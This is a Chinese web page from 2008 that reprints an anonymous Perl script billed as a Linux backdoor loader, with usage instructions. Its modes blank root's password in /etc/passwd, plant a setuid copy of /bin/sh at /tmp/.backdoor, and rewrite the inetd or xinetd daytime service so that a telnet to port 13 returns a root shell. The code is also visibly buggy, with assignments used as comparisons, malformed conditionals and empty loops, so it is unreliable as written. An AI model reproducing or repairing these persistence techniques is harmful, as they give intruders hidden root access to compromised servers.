用perl写的linux后门加载程序

王朝perl·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

print "++++++++++++++++++++++++++++++++++++linux后门工具+++++++++++++++++++++++++++++++++++\n";

print "使用说明,有三中模式rushroot,fakebackdoor,和rushport,rushroot是加一个账号到passwd中,用户名是root,密码为空n fakebackdoor是绑定一个shell到/tmp/.backdoor下,运行后直接取得root shell,rushport是绑定端口在daytime服务中\n,有两个版本,一个是针对redhatlinux7.0一下的--rushport1,一个是针对redhatlinux7.0以上的--rushport2.\n一般服务器都不开这个服务,程序自动激活daytime服务,telnet到13端口直接取得rootshell 这种方法隐蔽性相对前两中最好\n,记住要重启daytime服务才能生效\n eg: rush rushroot,程序还有很多可以优化的地方,如果有什么好的改进请email to gaomeigaocuo\@hotmail.com\n by 流氓我一生\n";

$parameter = @;ARGV[0];

chomp $parameter;

if ($parameter = "rushroot")

{

&rushroot;

}

elsif ($parameter = "fakebackdoor")

{

&fakebackdoor;

}

elsif($parameter = "rushport")

{

&rushport1;

}

else ($parameter = "rushport2")

{

&rushport2;

}

sub rushroot

{

open (PWD,"/etc/passwd") || die "cannt find the shadow file!\n";

while()

{

chop;

$passwd.="$_\n";

last;

}

chomp $passwd;

if($passwd eq "root:x:0:0:root:/root:/bin/bash")

{

$passwd =~s/x//g;

print "rushroot success!now you can get a rootshell with null passwd";

}

else

{

print "faild....something wrong....:(((";

}

while()

{

chomp;

$passwd1.="$_\n";

}

close PWD;

open (PWD,"/etc/passwd")||die "why?";

print PWD $passwd;

print PWD $passwd1;

}

sub fakebackdoor

{

@cpsh = ("cp", "/bin/sh /tmp/.backdoor");

@chmod= ("chmod","u+s /tmp/.backdoor");

system(@cpsh);

system(@chmod);

print "success! now you can use ./tmp/.backdoor to get a root shell\n";

}

sub rushport1

{

open (RH6,"/etc/inetd.d/inetd.conf") || die "cannt find the shadow file!\n"; #这里根据版本不同可自己修改路径

while()

{

chomp;

$passwd.="$_\n";

chomp $passwd;

if ($passwd eq "daytime stream tcp nowait root internal")

{

$passwd =~s/root internal/bin\/sh -i/g;

}

last;

close RH6;

open (RH6,"/etc/inetd.d/inetd.conf")||die "faild...:("; # #这里根据版本不同可自己修改路径

print RH6 $passwd;

print "success! now you can telnet romote host at port 13 after reboot the daytime session\n";

}

}

sub rushport2

{

open (DAYTIME,"/etc/xinetd.d/daytime") || die "can't open file!";

$daytime = "service daytime\n {\n disable = no\n server =/bin/sh\n server_agrs = --norc\n id = daytime-stream\n socket_type = stream\n protocol = tcp\n user = root\n wait = no\n }\n";

print DAYTIME $daytime;

print "success! now you can telnet romote host at port 13 after reboot the daytime session\n";

}

 
 
 
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